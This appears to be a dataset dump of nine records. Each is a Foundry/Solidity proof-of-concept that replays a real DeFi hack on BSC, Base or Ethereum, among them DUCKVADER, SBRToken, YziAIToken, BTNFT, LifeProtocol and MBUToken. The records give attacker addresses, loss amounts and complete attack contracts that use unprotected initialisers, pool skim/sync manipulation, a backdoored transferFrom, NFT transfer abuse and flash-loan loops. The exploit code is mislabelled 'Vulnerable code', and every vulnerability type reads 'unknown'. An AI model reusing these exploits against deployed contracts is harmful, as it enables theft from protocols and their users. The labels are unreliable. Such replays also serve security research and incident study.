Farseen0/scar-pairs huggingface dataset:
HIGH severity: unverified_d4f1 exploit (unknown). @KeyInfo - Total Lost : 15.2k USD Attacker : 0x8149f77504007450711023cf0ec11bdd6348401f Attack Contract : https://bscscan.com/address/0x009e64c02848dc51aa3f46775c2cfbf1190c2841 Vulnerable Contract : https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb3 Attack Tx : https://app.blocks

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 15.2k USD
// Attacker : 0x8149f77504007450711023cf0ec11bdd6348401f
// Attack Contract : https://bscscan.com/address/0x009e64c02848dc51aa3f46775c2cfbf1190c2841
// Vulnerable Contract : https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb3
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xc7fc7e066ec2d4ea659061b75308c9016c0efab329d1055c2a8d91cc11dc3868

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb3

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1890776122918309932
// Twitter Guy : https://x.com/TenArmorAlert/status/1890776122918309932
// Hacking God : N/A

address constant addr = 0xD4F1AFD0331255e848c119CA39143D41144f7Cb3;
address constant zero = 0x0000000000000000000000000000000000000000;
address constant attacker = 0xF30Be320c55038d7F784c561E56340439Dd1a283;

contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("bsc", 46681362);
    }
    
    function testPoC() public {
        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
        vm.startPrank(attacker, attacker);
        AttackerC attC = new AttackerC();
        deal(address(attC), 23.007026290916617 ether);
        vm.stopPrank();
        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
    }
}

// 0x009E64c02848dc51aA3f46775c2cfBf1190C2841
contract AttackerC {
    constructor() {
        // call_1: addr.initialize()
        (bool s1, ) = addr.call(abi.encodeWithSelector(bytes4(keccak256("initialize()"))));
        require(s1, "init failed");
        // call_2: addr.withdrawFees(address _to, uint256 _amount)
        (bool s2, ) = addr.call(
            abi.encodeWithSelector(
                bytes4(keccak256("withdrawFees(address,uint256)")),
                zero,
                uint256(23007026290916620075)
            )
        );
        require(s2, "withdrawFees failed");
        // call_3: send value to tx.origin
        payable(tx.origin).transfer(23007026290916620075);
    } 
}

Vulnerability type: unknown
HIGH severity: DUCKVADER exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~ 5 ETH Attacker : https://basescan.org/address/0x2383a550e40a61b41a89da6b91d8a4a2452270d0 Attack Contract : https://basescan.org/address/0x652f9ac437a870ce273a0be9d7e7ee03043a91ff Vulnerable Contract : https://basescan.org/address/0xaa8f35

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 5 ETH
// Attacker : https://basescan.org/address/0x2383a550e40a61b41a89da6b91d8a4a2452270d0
// Attack Contract : https://basescan.org/address/0x652f9ac437a870ce273a0be9d7e7ee03043a91ff
// Vulnerable Contract : https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56
// Attack Tx : https://basescan.org/tx/0x9bb1401233bb9172ede2c3bfb924d5d406961e6c63dee1b11d5f3f79f558cae4

// @Info
// Vulnerable Contract Code : https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/TenArmorAlert/status/1899378096056201414
// Hacking God : N/A

address constant DUCKVADER = 0xaa8f35183478B8EcEd5619521Ac3Eb3886E98c56;
address constant wETH = 0x4200000000000000000000000000000000000006;
address constant UNISWAP_ROUTER = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;

contract DUCKVADER_exp is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 27_445_835 - 1;

    function setUp() public {
        vm.createSelectFork("base", blocknumToForkFrom);
        vm.label(DUCKVADER, "DUCKVADER");
        vm.label(UNISWAP_ROUTER, "Uniswap: V2 Router02");
    }

    function testExploit() public balanceLog {
        AttackContract attackContract = new AttackContract();
        attackContract.attack();
    }

    receive() external payable {
        // This contract is used to receive ETH from the attack contract
    }
}

contract AttackContract {
    address attacker;

    constructor() {
        attacker = msg.sender;
    }

    function attack() external {
        // Call multiple times to get more tokens
        uint256 times = 10; //200;
        for (uint256 i = 0; i < times; i++) {
            AttackContract2 attackContract2 = new AttackContract2();
            attackContract2.buy();
        }
        IDUCKVADER(DUCKVADER).buyTokens(0);
        IDUCKVADER(DUCKVADER).approve(UNISWAP_ROUTER, type(uint256).max);
        uint256 balance = IDUCKVADER(DUCKVADER).balanceOf(address(this));
        // console.log(balance);
        address[] memory path = new address[](2);
        path[0] = address(DUCKVADER);
        path[1] = address(wETH);
        IRouter(payable(UNISWAP_ROUTER)).swapExactTokensForETHSupportingFeeOnTransferTokens(
            balance, 0, path, attacker, block.timestamp + 10
        );
    }
}

contract AttackContract2 {
    function buy() external {
        IDUCKVADER(DUCKVADER).buyTokens(0);
        uint256 balance = IDUCKVADER(DUCKVADER).balanceOf(address(this));
        IDUCKVADER(DUCKVADER).transfer(msg.sender, balance);
    }
}

interface IDUCKVADER is IERC20 {
    function buyTokens(uint256 usdtAmount) external payable;
}


Vulnerability type: unknown
HIGH severity: SBRToken exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~ 8.495 ETH Attacker : https://etherscan.io/address/0x7a6488348a7626c10e35df9ae0a2ad916a56a952 Attack Contract : https://etherscan.io/address/0x9926796371e0107abe406128fa801fda0e436f44 Vulnerable Contract : Attack Tx : https://etherscan.io/

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 8.495 ETH
// Attacker : https://etherscan.io/address/0x7a6488348a7626c10e35df9ae0a2ad916a56a952
// Attack Contract : https://etherscan.io/address/0x9926796371e0107abe406128fa801fda0e436f44
// Vulnerable Contract :
// Attack Tx : https://etherscan.io/tx/0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea90047cd2af390b30af54e7b9

// @Analysis
// Twitter Guy : https://x.com/TenArmorAlert/status/1897826817429442652

address constant SBR = 0x460B1AE257118Ed6F63Ed8489657588a326a206D;
address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

address constant UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant UniswapV2Pair = 0x3431c535dDFB6dD5376E5Ded276f91DEaA864FF2;

contract SBRToken_exp is Test {
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.createSelectFork("mainnet", 21_991_722 - 1);
        vm.deal(attacker, 1 ether);

        vm.label(attacker, "Exploiter");
        vm.label(SBR, "SBR Token");
        vm.label(wETH, "Wrapped Ether");
        vm.label(UniswapV2Router, "Uniswap V2: Router 2");
        vm.label(UniswapV2Pair, "Uniswap V2: Pair");
    }

    function testExploit() public {
        emit log_named_decimal_uint("ETH before attack", attacker.balance, 18);

        vm.prank(attacker);
        AttackerC attC = new AttackerC{value: 0.000000000000004 ether}();
        attC.attack();
        vm.stopPrank();

        emit log_named_decimal_uint("ETH after attack", attacker.balance, 18);
    }
}

contract AttackerC {
    address attacker;

    constructor() payable {
        attacker = msg.sender;
    }

    function attack() public {
        address[] memory path = new address[](2);
        path[0] = wETH;
        path[1] = SBR;
        IRouter(UniswapV2Router).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.000000000000004 ether}(
            0, path, address(this), block.timestamp + 100
        );

        Uni_Pair_V2(UniswapV2Pair).skim(UniswapV2Pair);

        IERC20(SBR).transfer(UniswapV2Pair, 1);

        Uni_Pair_V2(UniswapV2Pair).sync();

        IERC20(SBR).approve(UniswapV2Router, type(uint256).max);

        uint256 balance = IERC20(SBR).balanceOf(address(this));
        // console.log(balance); // 54804369677
        path[0] = SBR;
        path[1] = wETH;
        IRouter(UniswapV2Router).swapExactTokensForETHSupportingFeeOnTransferTokens(
            balance, 0, path, attacker, block.timestamp + 100
        );
    }
}


Vulnerability type: unknown
HIGH severity: YziAIToken exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~ 376 BNB Attacker : https://bscscan.com/address/0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453 Attack Contract : Vulnerable Contract : https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3 Attack Tx : https://bscscan.com/tx/0x

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 376 BNB
// Attacker : https://bscscan.com/address/0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453
// Attack Contract :
// Vulnerable Contract : https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3
// Attack Tx : https://bscscan.com/tx/0x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e8

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3#code
/*
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
    if(msg.sender == manager && amount == 1199002345) {
        _mint(address(this), supply * 10000);
        _approve(address(this), router, supply * 100000);

        path.push(address(this));
        path.push(IUniswapV2Router02(router).WETH());

        IUniswapV2Router02(router).swapExactTokensForETH(
            balanceOf(to) * 1000,
            1,
            path,
            manager,
            block.timestamp + 1e10
        );
        return true;
    }
    // ...
}
 */

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/TenArmorAlert/status/1905528525785805027
// Hacking God : N/A

address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant CAKE_LP = 0xb53C43dEbCdB1055620d17D0d3aE3cc63eCe0919;
address constant YziAI = 0x7fDfF64Bf87bad52e6430BDa30239bD182389Ee3;

contract YziAIToken_exp is BaseTestWithBalanceLog {
    address attacker = 0x63FC3fF98De8d5cA900e68E6c6F41a7CA949c453;
    uint256 blocknumToForkFrom = 47_838_545 - 1;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        // fundingToken = BSC_USD;

        vm.label(attacker, "Attacker");
        vm.label(wBNB, "WBNB");
        vm.label(YziAI, "YziAI");
        vm.label(CAKE_LP, "0xc355_Cake-LP");
    }

    function testExploit() public {
        emit log_named_decimal_uint("BNB balance before attack", attacker.balance, 18);
        vm.startPrank(attacker);
        IERC20(YziAI).transferFrom(CAKE_LP, CAKE_LP, 1_199_002_345);
        vm.stopPrank();
        emit log_named_decimal_uint("BNB balance after attack", attacker.balance, 18);
    }
}


Vulnerability type: unknown
HIGH severity: BTNFT exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 19025.9193312786235214 BUSD Original Attacker : https://bscscan.com/address/0xbda2a27cdb2ffd4258f3b1ed664ed0f28f9e0fc3 Attack Contract : https://bscscan.com/address/0x7A4D144307d2DFA2885887368E4cd4678dB3c27a Vulnerable Contract : https://bs

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 19025.9193312786235214 BUSD
// Original Attacker : https://bscscan.com/address/0xbda2a27cdb2ffd4258f3b1ed664ed0f28f9e0fc3
// Attack Contract : https://bscscan.com/address/0x7A4D144307d2DFA2885887368E4cd4678dB3c27a
// Vulnerable Contract : https://bscscan.com/address/0x0FC91B6Fea2E7A827a8C99C91101ed36c638521B#code
// First Attack Tx(Claim Rewards) : https://bscscan.com/tx/0x1e90cbff665c43f91d66a56b4aa9ba647486a5311bb0b4381de4d653a9d8237d
// Second Attack Tx(Sell Tokens) : https://bscscan.com/tx/0x7978c002d12be9b748770cc31cbaa1b9f3748e4083c9f419d7a99e2e07f4d75f
// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)

// Contracts involved
address constant router = 0x82C7c2F46C230aabc806e3A2642F8CFbdD968ED2;
address constant pair = 0x1e16070a8734B3d686E0CF035c05fBBC1ba21C98;

address constant BTNFT = 0x0FC91B6Fea2E7A827a8C99C91101ed36c638521B;
address constant BTT = 0xDAd4df3eFdb945358a3eF77B939Ba83DAe401DA8;
address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;

contract BTNFT_exp is Test {
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.createSelectFork("bsc", 48472356 - 1);
    }

    function testPoC() public {
        vm.startPrank(attacker);

        AttackerC attC = new AttackerC();

        attC.attackTx1();

        attC.attackTx2();

        emit log_named_decimal_uint("Profit in BUSD", IERC20(BUSD).balanceOf(attacker), 18);
    }
}

contract AttackerC {
    function attackTx1() external {
        uint256 totalSupply = IERC721Enumerable(BTNFT).totalSupply();

        for (uint256 i = 1; i < totalSupply; i++) {
            address owner = IERC721(BTNFT).ownerOf(i);
            IERC721(BTNFT).transferFrom(owner, BTNFT, i);
        }
    }

    function attackTx2() external {
        IERC20(BTT).approve(pair, type(uint256).max);
        
        uint256 totalBal = IERC20(BTT).balanceOf(address(this));
        uint256 amountPerLoop = totalBal / 50;

        address[2] memory path;
        path[0] = BTT;
        path[1] = BUSD;

        for (uint256 i; i < 50; i++) {
            IRouterBTT(router).swap(
                path,
                false,
                amountPerLoop
            );
        }

        IERC20(BUSD).transfer(msg.sender, IERC20(BUSD).balanceOf(address(this)));
    }
}

interface IRouterBTT {
    function swap(address[2] memory path, bool status_b, uint256 amount_) external;
}

Vulnerability type: unknown
HIGH severity: Lifeprotocol exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 15114 BUSD Attacker : https://bscscan.com/address/0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32 Attack Contract : https://bscscan.com/address/0xF6Cee497DFE95A04FAa26F3138F9244a4d92f942 Vulnerable Contract : https://bscscan.com/address/0x42e277

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 15114 BUSD
// Attacker : https://bscscan.com/address/0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32
// Attack Contract : https://bscscan.com/address/0xF6Cee497DFE95A04FAa26F3138F9244a4d92f942
// Vulnerable Contract : https://bscscan.com/address/0x42e2773508e2ae8ff9434bea599812e28449e2cd
// Attack Tx : https://bscscan.com/tx/0x487fb71e3d2574e747c67a45971ec3966d275d0069d4f9da6d43901401f8f3c0

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x42e2773508e2ae8ff9434bea599812e28449e2cd#code

// @Analysis
// Post-mortem :  
// Twitter Guy :  
// Hacking God :  

address constant LifeProtocolContract = 0x42e2773508e2AE8fF9434BEA599812e28449e2Cd;
address constant dpp = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
address constant busd = 0x55d398326f99059fF775485246999027B3197955;
address constant lifeToken = 0x19B2834f99Fb9eB4164CB5b49046Ec207F894197;

contract LifeProtocol_exp is Test {
    uint256 public quoteAmount = 110000 * 1e18;

    function setUp() public {
        vm.createSelectFork("bsc", 48703546 - 1);
        IFS(busd).approve(LifeProtocolContract, quoteAmount);
        IFS(lifeToken).approve(LifeProtocolContract, quoteAmount);
    }

    function testExploit() public {
        IFS(dpp).flashLoan(0, quoteAmount, address(this), abi.encodePacked(uint256(1)));
        console2.log("Profit:", IFS(busd).balanceOf(address(this)) / 1e18, 'BUSD');
    }

    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) public {
        for(uint256 i=0; i<53; i++) {
            IFS(LifeProtocolContract).buy(1000 * 1e18);
        }
        
        for(uint256 i=0; i<53; i++) {
            IFS(LifeProtocolContract).sell(1000 * 1e18);
        }
        IFS(busd).transfer(dpp, quoteAmount);
    }
}

interface IFS is IERC20 {
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address assetTo,
        bytes calldata data
    ) external;

    function balanceOf(address owner) external view returns (uint256);

    function buy(uint256 lifeTokenAmount) external;

    function sell(uint256 amount) external;
}


Vulnerability type: unknown
HIGH severity: MBUToken exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~2.16 M BUSD Original Attacker : https://bscscan.com/address/0xb32a53af96f7735d47f4b76c525bd5eb02b42600 Attack Contract : https://bscscan.com/address/0x631adff068d484ce531fb519cda4042805521641 Vulnerable Contract 0 : https://bscscan.com/add

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~2.16 M BUSD
// Original Attacker : https://bscscan.com/address/0xb32a53af96f7735d47f4b76c525bd5eb02b42600
// Attack Contract : https://bscscan.com/address/0x631adff068d484ce531fb519cda4042805521641
// Vulnerable Contract 0 : https://bscscan.com/address/0x95e92b09b89cf31fa9f1eca4109a85f88eb08531
// Vulnerable Contract 1 : https://bscscan.com/address/0x0dfb6ac3a8ea88d058be219066931db2bee9a581
// Attack Tx : https://bscscan.com/tx/0x2a65254b41b42f39331a0bcc9f893518d6b106e80d9a476b8ca3816325f4a150
// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)

// Contracts involved
address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
address constant BlockRazor = 0x1266C6bE60392A8Ff346E8d5ECCd3E69dD9c5F20;

address constant MBU = 0x0dFb6Ac3A8Ea88d058bE219066931dB2BeE9A581;
address constant _0x95e9_ERC1967Proxy = 0x95e92B09b89cF31Fa9F1Eca4109A85F88EB08531;

contract MBUToken_exp is Test {
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.createSelectFork("bsc", 49470430 - 1);
        vm.deal(attacker, 1 ether);
    }

    function testPoC() public {
        vm.startPrank(attacker);

        AttackerC attC = new AttackerC();
        
        attC.attack{value: 1 ether}();

        emit log_named_decimal_uint("Profit in BUSD", IERC20(BUSD).balanceOf(attacker), 18);
    }
}

contract AttackerC {
    function attack() external payable {
        WETH9(payable(wbnb)).deposit{value: 0.001 ether}();

        IERC20(wbnb).approve(_0x95e9_ERC1967Proxy, 0.001 ether);

        I_0x95e9_ERC1967Proxy(_0x95e9_ERC1967Proxy).deposit(wbnb, 0.001 ether);

        IERC20(MBU).approve(router, type(uint256).max);

        address[] memory path = new address[](2);
        path[0] = MBU;
        path[1] = BUSD;
        IPancakeRouter(payable(router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            30_000_000 ether,
            0,
            path,
            address(this),
            block.timestamp
        );

        IERC20(BUSD).transfer(msg.sender, IERC20(BUSD).balanceOf(address(this)));

        // Pay MEV Protected Transaction
        BlockRazor.call{value: 0.999 ether}("");
    }
}

interface I_0x95e9_ERC1967Proxy {
    function deposit(address, uint256) external returns(uint256);
}

Vulnerability type: unknown
HIGH severity: Unwarp exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~9 K usdt Original Attacker : https://basescan.org/address/0x5cc162c556092fe1d993b95d1b9e9ce58a11dbc9 Attack Contract : https://basescan.org/address/0x0c6a8c285d696d4d9b8dd4079a72a6460a4da05f Vulnerable Contract: https://basescan.org/addres

Vulnerable code:
//  SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;


import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~9 K usdt
// Original Attacker : https://basescan.org/address/0x5cc162c556092fe1d993b95d1b9e9ce58a11dbc9
// Attack Contract : https://basescan.org/address/0x0c6a8c285d696d4d9b8dd4079a72a6460a4da05f
// Vulnerable Contract: https://basescan.org/address/0x8befc1d90d03011a7d0b35b3a00ec50f8e014802
// Attack Tx : https://app.blocksec.com/explorer/tx/base/0xac6f716c57bbb1a4c1e92f0a9531019ea2ecfcaea67794bbd27115d400ae9b41
//author: test

contract Unwarp is Test {
    IWETH private constant WETH = IWETH(payable(0x4200000000000000000000000000000000000006));
    IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    address A=0x8bEfC1d90d03011a7d0b35B3a00eC50f8E014802;

            

    function setUp() public {
        vm.createSelectFork("base", 30210273);
    }

    function testExploit() public {
        IERC20(WETH).approve(address(vault), type(uint256).max);
        address[] memory assets = new address[](1);
        assets[0] = address(WETH);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 100852657473363426325;
        bytes memory encodedata = abi.encode(address(this));

        vault.flashLoan(address(this),assets,amounts,encodedata);
         
        emit log_named_decimal_uint("WETH Balance after the attack",address(this).balance, 18);
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        WETH.transfer(address(A),100852657473363426325);
        address(A).call(abi.encodeWithSignature("unwrapWETH(uint256,address)",104833984375000000000 ,address(this)));
        WETH.deposit{value: 100852657473363426325}();
        WETH.transfer(address(vault),100852657473363426325);
    }

    fallback() external payable {}

}



Vulnerability type: unknown
HIGH severity: YDTtoken exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED

import "../interface.sol";
import "forge-std/Test.sol";


pragma solidity ^0.8.13;


contract ContractTest is Test {

    address USDT = 0x55d398326f99059fF775485246999027B3197955;
    address YDT= 0x3612e4Cb34617bCac849Add27366D8D85C102eFd;
    address taxmodule =0x013E29791A23020cF0621AeCe8649c38DaAE96f0;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address Pair=0xFd13B6E1d07bAd77Dd248780d0c3d30859585242;
    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));

    
    function setUp() public {
        vm.createSelectFork("bsc", 50273545);
    }

    function testExploit() public {
        uint256 amount=IERC20(YDT).balanceOf(address(Pair));

        address(YDT).call(abi.encodeWithSelector(bytes4(0xec22f4c7),address(Pair),address(this),amount - 1000*1e6,address(taxmodule)));

        address(Pair).call(abi.encodeWithSelector(bytes4(0xfff6cae9)));      
        address[] memory path = new address[](2);
        path[0] = address(YDT);
        path[1] = address(USDT);    
        IERC20(YDT).approve(address(Router),type(uint256).max);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            IERC20(YDT).balanceOf(address(this)) / 10,
            0,
            path,
            address(this),
            block.timestamp +200
        );


        emit log_named_decimal_uint("Profit in ", IERC20(USDT).balanceOf(address(this)), 18);

    }

    receive() external payable {}

}




Vulnerability type: unknown